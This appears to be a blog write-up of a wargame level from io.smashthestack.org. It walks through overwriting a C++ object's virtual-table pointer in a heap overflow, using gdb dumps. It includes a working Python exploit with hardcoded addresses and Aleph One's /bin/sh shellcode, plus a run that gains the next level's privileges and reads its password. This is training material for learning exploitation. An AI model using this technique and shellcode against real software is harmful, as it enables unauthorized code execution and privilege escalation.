Saturday, July 20, 2013

IO Level 8

Level 8 from io.smashthestack.org.

Uses operator overloading (TIL) which boils down to a normal virtual function.

The stack looks like this for a normal run:

(gdb) x/aw &five
0x804a008:      0x80488d8 <_ZTV6Number+8> -- five's virtual pointer (VPTR) to VTABLE
(gdb)
0x804a00c:      0x41414141 -- five.annotation[0]
(gdb)
0x804a010:      0x42424242
(gdb)
0x804a014:      0x0
...
0x804a06c:      0x0 -- five.annotation[99]
(gdb)
0x804a070:      0x5 -- five.number
(gdb)
0x804a074:      0x71 -- junk
(gdb)
0x804a078:      0x80488d8 <_ZTV6Number+8> -- six's VPTR to VTABLE
(gdb)
0x804a07c:      0x0 -- six.annotation[0]
...
0x804a0dc:      0x0 -- six.annotation[99]
(gdb)
0x804a0e0:      0x6 -- six.number
(gdb)
0x804a0e4:      0x20f21 -- junk


The VTABLE for both five and six looks like:

(gdb) x/aw 0x80488d8
0x80488d8 <_ZTV6Number+8>:      0x8048822 <Number::operator+(Number&)>


A pointer to the start of the overloaded operator function.

Here's what the border between five and six looks during an overflow:

(gdb) run `perl -e 'print "A" x 108 . "BBBB"'`
...
0x804a06c:      0x41414141 -- five.annotation[99]
(gdb)
0x804a070:      0x41414141 -- five.number
(gdb)
0x804a074:      0x41414141 -- junk
(gdb)
0x804a078:      0x42424242 -- six's VPTR
(gdb)
0x804a07c:      0x0 -- six.annotation[0]


The exploit theory for this one is more or less an implementation of  SMASHING C++ VPTRS (http://www.phrack.org/issues.html?issue=56&id=8).

Build a fake VTABLE in the beginning of the buffer with a function pointer pointing to the shellcode later in the buffer. Then overwrite six's VPTR
to point to the fake VTABLE in the beginning of the buffer. Here's some Python to create a template:

# fake vtable with a function pointer to shellcode
vtable_func_ptr = "X" * 4

# shellcode
shellcode = "\xCC" * 4

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtabke
vptr = "B" * 4

print vtable_func_ptr + shellcode + filler + vptr


The easiest way to track down the address of five (x) is to set a break point after its space is allocated (via new) and look in eax.

(gdb) disas main
Dump of assembler code for function main:
   0x08048694 <+0>:     push   %ebp
...
   0x080486b0 <+28>:    movl   $0x6c,(%esp)
   0x080486b7 <+35>:    call   0x80485bc <_Znwj@plt>
   0x080486bc <+40>:    mov    %eax,%ebx
...

(gdb) break *0x080486bc
Breakpoint 4 at 0x80486bc
(gdb) break *0x08048720
Breakpoint 5 at 0x8048720
(gdb) run `python exp8.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level08 `python exp8.py`

Breakpoint 4, 0x080486bc in main ()
(gdb) x/aw $eax
0x804a008:      0x0
(gdb) c
Continuing.

Breakpoint 5, 0x08048720 in main ()
(gdb) x/aw 0x804a008
0x804a008:      0x80488c8 >_ZTV6Number+8>
(gdb)
0x804a00c:      0x58585858
(gdb)


Now to hardcoded the addresses (ease of use) and add some shellcode:

# fake vtable with a function pointer to shellcode
#vtable_func_ptr = "X" * 4
vtable_func_ptr = "\x10\xa0\x04\x08"

# shellcode
#shellcode = "\xCC" * 4
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe
8\xdc\xff\xff\xff/bin/sh"

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtable
#vptr = "B" * 4
vptr = "\x0c\xa0\x04\x08"

print vtable_func_ptr + shellcode + filler + vptr


Let's give it a whirl:

level8@io:/tmp/ds8$ /levels/level08 `python exp8.py`
sh-4.2$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8),1029(nosu)
sh-4.2$ cat /home/level9/.pass
shhh don't snitch